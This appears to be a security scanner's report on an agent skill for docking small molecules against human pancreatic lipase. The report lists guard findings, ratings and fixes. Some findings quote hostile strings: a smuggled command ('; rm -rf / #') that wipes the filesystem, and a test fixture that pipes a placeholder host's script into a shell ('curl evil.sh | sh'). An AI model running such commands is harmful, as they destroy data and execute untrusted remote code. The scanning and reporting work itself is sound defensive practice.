SKILLEMALL.ai

FD pancreatic-lipase-pro-docking

Docks small molecules against human pancreatic lipase (PDB 1LPB, lipase+colipase+Ca2+) across 5 validated sites with AutoDock Vina — pH 7.4 protonation, tautomer/stereoisomer enumeration, multi-seed consensus, native re-dock RMSD gate, and calibration drift detection. Runs locally or on free Kaggle CPU kernels. Use when the user asks to dock, screen, or rank compounds against pancreatic lipase, PNLIP, hPL, or for anti-obesity/lipase-inhibitor virtual screening.

Blockedguard blocked the skill: signs of malicious behaviour
ClawHub Agent Skills author: orionshaowswmw v101.0.7 MIT-0 70 files · 9 scripts body ≈ 1 517 tokens Open the sourceclawhub.ai analyzed 2 d ago

Docks small molecules against human pancreatic lipase (PDB 1LPB, lipase+colipase+Ca2+) across 5 validated sites with AutoDock Vina — pH 7.4 protonation…

As a process D 46/100 · Unfinished process — weak spots: result and completion, inputs and preconditions, failures and branches

AnalyzerData and analyticstype and topics are labelled automatically from the skill text
JSON
Technical rating
F
40/100
safety, quality, tests
Safety 60%
10
Quality 40%
86
Run on models
none yet
Process rating
D
46/100
Unfinished process
Result and completion w 14
0
Inputs and preconditions w 11
0
Failures and branches w 10
0
the three weakest of ten parameters · all ten
Guard blocked this skill: critical findings below. Do not install it until the author fixes them.

What is at stake

The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.

Dangerous commands
If you install

The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.

For the author

Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.

How to improve

  1. Remove the critical guard findings (secrets, dangerous commands, hidden instructions): while they stand the skill is blocked and cannot grade above F.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 5

  • critical Dangerous commands cmd-destructive-fs CHANGELOG.md:40
    Destructive filesystem command (wipes root/home/drive) (quoted — discussed, not commanded)
    shell=True)`, so `--extra "; rm -rf / #"` would have executed inside the
    quoted
  • high Dangerous commands cmd-destructive-fs scripts/kaggle_dock.py:63
    Destructive filesystem command (wipes root/home/drive) (string literal in code, not executed)
    `; rm -rf / #` and — before the shell=False fix — have it executed in the
    code literal
Medium and low: 3
  • medium Dangerous commands cmd-shell-rc docking_professional_stack/Dockerfile:11
    Writes to a shell startup file
    RUN echo "micromamba activate pro-docking-full" >> ~/.bashrc
  • medium Dangerous commands cmd-destructive-fs docking_professional_stack/tests/test_v101.py:175
    Destructive filesystem command (wipes root/home/drive) (string literal in code, not executed; code comment; test fixture / example file)
    # --extra interpolated into the string, so `--extra "; rm -rf / #"` executed
    code literalcommentfixture
  • low Dangerous commands cmd-pipe-to-shell docking_professional_stack/tests/test_v101.py:180
    Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed; test fixture / example file)
    "&& curl evil.sh | sh",
    code literalfixture

Files scanned: 70. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • note frontmatter-key unknown frontmatter key "categories"
  • note frontmatter-key unknown frontmatter key "topics"
  • note frontmatter-key unknown frontmatter key "type"

Process rating: all ten parameters 46/100

  • 0Result and completion. Does not say what the result is
  • 0Inputs and preconditions. Does not say what the process needs to start
  • 0Failures and branches. Linear process with no failure handling
  • 0Progress reporting. Says nothing while it works
  • 30Running it twice. 3 mutating operations with no state check
  • 50Steps. 2 steps
  • 60Tools and files. Uses tools (bash, python) that frontmatter does not declare
  • 100When it triggers. States when to use and when not to
  • 100Consistency. Name and required fields are in place
  • 100Execution cost. Instruction body is 1517 tokens

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +5Description has no quoted example phrases that should trigger the skill
  • +4Description does not say when NOT to use the skill (false activations)
  • +3No numbered steps or checklist
  • +3Output format is not stated: the model decides each time
  • +2Single-language instructions
  • +3Description length 465: enough signal without eating the budget
  • +4Structure: 9 headings
  • +4Has examples (2 code blocks)
  • +4Reference files are cited in the instructions (4 of 4)
  • +3All 2 scripts are documented
  • +1License stated

Quality base 70; lint remarks subtract, signals add up to 100. Result: 86.

External checks

ClawHub: suspicious
This appears to be a real molecular docking skill, but it needs Review because optional install/cloud paths can run unpinned downloaded tooling and the Kaggle path can expose ligand data in logs.
LLM: suspicious (high) · 7 Sept 2026